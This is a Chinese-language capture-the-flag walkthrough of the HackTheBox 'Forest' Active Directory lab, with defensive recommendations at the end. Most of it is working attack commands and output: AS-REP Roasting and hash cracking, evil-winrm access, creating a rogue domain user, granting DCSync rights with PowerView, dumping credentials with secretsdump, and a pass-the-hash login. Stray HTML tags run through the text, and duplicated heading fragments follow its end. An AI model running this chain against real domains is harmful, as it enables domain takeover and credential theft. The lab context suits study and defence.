Windows域渗透实战：从AS-REP Roasting到DCSync攻击<\/h1>

1. 信息收集阶段<\/h2>

1.1 端口扫描与识别<\/h3>
使用Nmap进行全端口扫描：<\/p>
nmap -p- 10.10.10.161 --min-rate 1000<\/span> -sC -sV
<\/span><\/span><\/code><\/pre>关键发现：<\/p>

53\/tcp<\/strong>: DNS服务<\/li>
88\/tcp<\/strong>: Kerberos服务<\/li>
135\/tcp<\/strong>: RPC端点映射器<\/li>
139\/tcp<\/strong>: NetBIOS会话服务<\/li>
389\/tcp<\/strong>: LDAP服务<\/li>
445\/tcp<\/strong>: SMB文件共享<\/li>
5985\/tcp<\/strong>: WinRM服务<\/li>
9389\/tcp<\/strong>: ADWS服务<\/li>
<\/ul>
1.2 系统信息识别<\/h3>
通过SMB协议获取系统信息：<\/p>
OS: Windows Server 2016 Standard 14393
Domain name: htb.local
Forest name: htb.local
FQDN: FOREST.htb.local
<\/code><\/pre>
1.3 DNS枚举<\/h3>
查询域信息：<\/p>
dig @10.10.10.161 htb.local ANY
<\/span><\/span><\/code><\/pre>添加主机记录到本地hosts文件：<\/p>
echo '10.10.10.161 hostmaster.htb.local forest.htb.local'<\/span> >> \/etc\/hosts
<\/span><\/span><\/code><\/pre>1.4 RPC枚举<\/h3>
使用enum4linux或rpcclient枚举域信息：<\/p>
rpcclient -U ""<\/span> -N 10.10.10.161
<\/span><\/span><\/code><\/pre>常用RPC命令：<\/p>

enumdomusers<\/code>: 枚举域用户<\/li>
enumdomgroups<\/code>: 枚举域组<\/li>
querygroup 0x200<\/code>: 查询域管理员组<\/li>
querygroupmem 0x200<\/code>: 查询域管理员组成员<\/li>
queryuser 0x1f4<\/code>: 查询特定用户信息<\/li>
<\/ul>
2. AS-REP Roasting攻击<\/h2>
2.1 准备用户列表<\/h3>
创建users.txt文件：<\/p>
Administrator
andy
lucinda
mark
santi
sebastien
svc-alfresco
<\/code><\/pre>
2.2 获取AS-REP哈希<\/h3>
使用Impacket的GetNPUsers.py脚本：<\/p>
for<\/span> user in $(<\/span>cat users.txt)<\/span>; do<\/span> 
<\/span><\/span>    python \/usr\/share\/doc\/python3-impacket\/examples\/GetNPUsers.py -no-pass -dc-ip 10.10.10.161 htb\/${<\/span>user}<\/span> | grep -v Impacket; 
<\/span><\/span>done<\/span>
<\/span><\/span><\/code><\/pre>成功获取svc-alfresco用户的TGT票据：<\/p>
$krb5asrep$23$svc-alfresco@HTB:673e71dfa10005b9dc741cedf9a181e8$893f9bd443ee26264858af03a654193e565992d88bd224aef2c2c57388582294d9689bc890a9930f62c0e4a3202744544e546eb8bf52873ab45292be11fef69750046fad446b955afca12199c8d4e52e2fd925f951246cfa7376ead32e24481dfe7ff91db4e219fa458b295671e655618475f78f61b644be67583cc7facf7dd5956c7877284755078676a581f80de9f0747cea221e732c4f6ad1cba14defa5eff2d603f0e9cdfd4cd4e6b129b11a08d8bd2490abb14e0ee38c9bd1ce393144e5d6ca620afddeb1b3037a890c66416128ab588dd422e64746ecdc4ee1b6d0ff2d
<\/code><\/pre>
2.3 破解哈希<\/h3>
使用Hashcat破解：<\/p>
hashcat -m 18200<\/span> TGT \/usr\/share\/wordlists\/rockyou.txt --force
<\/span><\/span><\/code><\/pre>成功获取密码：s3rvice<\/code><\/p>
3. WinRM攻击<\/h2>
3.1 使用evil-winrm连接<\/h3>
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
<\/span><\/span><\/code><\/pre>3.2 获取user.txt<\/h3>
a4be68635be334291b5bf6410af5fb8c
<\/code><\/pre>
4. 权限提升<\/h2>
4.1 使用SharpHound收集域信息<\/h3>
上传SharpHound.exe到目标机器：<\/p>
*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> upload \/path\/to\/SharpHound.exe .\/
<\/code><\/pre>
执行收集：<\/p>
.\/SharpHound.exe --collectionmethods all --domain htb.local --ldapusername svc-alfresco --ldappassword s3rvice
<\/code><\/pre>
下载收集结果：<\/p>
*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> download C:\Users\svc-alfresco\appdata\local\temp\20240821032119_BloodHound.zip \/tmp\/20240821032119_BloodHound.zip
<\/code><\/pre>
4.2 分析BloodHound数据<\/h3>
发现svc-alfresco用户可以通过添加到"Exchange Windows Permissions"组来提升权限。<\/p>
4.3 添加用户到特权组<\/h3>
尝试直接添加：<\/p>
*Evil-WinRM* PS C:\> net group "Exchange Windows Permissions" svc-alfresco \/add \/domain
<\/code><\/pre>
发现会被自动移除，改为创建新用户：<\/p>
*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> net user \/add maptnh P@ssw0rd \/domain
*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> net group \/add 'Exchange Trusted Subsystem' maptnh \/domain
<\/code><\/pre>
4.4 使用PowerView进行DCSync攻击<\/h3>
上传PowerView.ps1：<\/p>
*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> upload \/path\/to\/PowerView.ps1 .\/
<\/code><\/pre>
执行DCSync攻击：<\/p>
$SecPassword = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB.local\maptnh', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity maptnh -Rights DCSync
<\/code><\/pre>
4.5 使用secretsdump获取域管理员哈希<\/h3>
python \/usr\/share\/doc\/python3-impacket\/examples\/secretsdump.py htb.local\/maptnh:'P@ssw0rd'<\/span>@10.10.10.161
<\/span><\/span><\/code><\/pre>获取到Administrator的NTLM哈希：<\/p>
Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
<\/code><\/pre>
5. 最终权限获取<\/h2>
5.1 使用哈希传递攻击<\/h3>
使用Impacket的wmiexec.py：<\/p>
python \/usr\/share\/doc\/python3-impacket\/examples\/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local\/administrator@10.10.10.161
<\/span><\/span><\/code><\/pre>5.2 获取root.txt<\/h3>
0c81c1f0304a873bd690bdf3a3d03411
<\/code><\/pre>
6. 攻击链总结<\/h2>

信息收集：端口扫描、SMB枚举、RPC枚举<\/li>
AS-REP Roasting攻击：获取svc-alfresco用户的TGT票据并破解<\/li>
WinRM访问：使用破解的凭证通过WinRM访问系统<\/li>
权限提升：使用SharpHound和BloodHound分析域关系<\/li>
DCSync攻击：通过Exchange Windows Permissions组的权限授予DCSync权限<\/li>
哈希传递：使用DCSync获取的域管理员哈希进行最终权限获取<\/li>
<\/ol>
7. 防御建议<\/h2>

禁用不必要用户的"不需要预认证"属性<\/li>
实施强密码策略，特别是对服务账户<\/li>
监控敏感组的成员变更<\/li>
限制Exchange Windows Permissions组的权限<\/li>
启用Kerberos AES加密而非RC4<\/li>
监控DCSync活动<\/li>
实施LSA保护防止凭据转储<\/li>
<\/ol>
Windows域渗透实战：从AS-REP Roasting到DCSync攻击<\/h1>

1. 信息收集阶段<\/h2>

2. AS-REP Roasting攻击<\/h2>

4. 权限提升<\/h2>

4.2 分析BloodHound数据<\/h3> 发现svc-alfresco用户可以通过添加到"Exchange Windows Permissions"组来提升权限。<\/p>

5. 最终权限获取<\/h2>

4.2 分析BloodHound数据<\/h3>
发现svc-alfresco用户可以通过添加到"Exchange Windows Permissions"组来提升权限。<\/p>
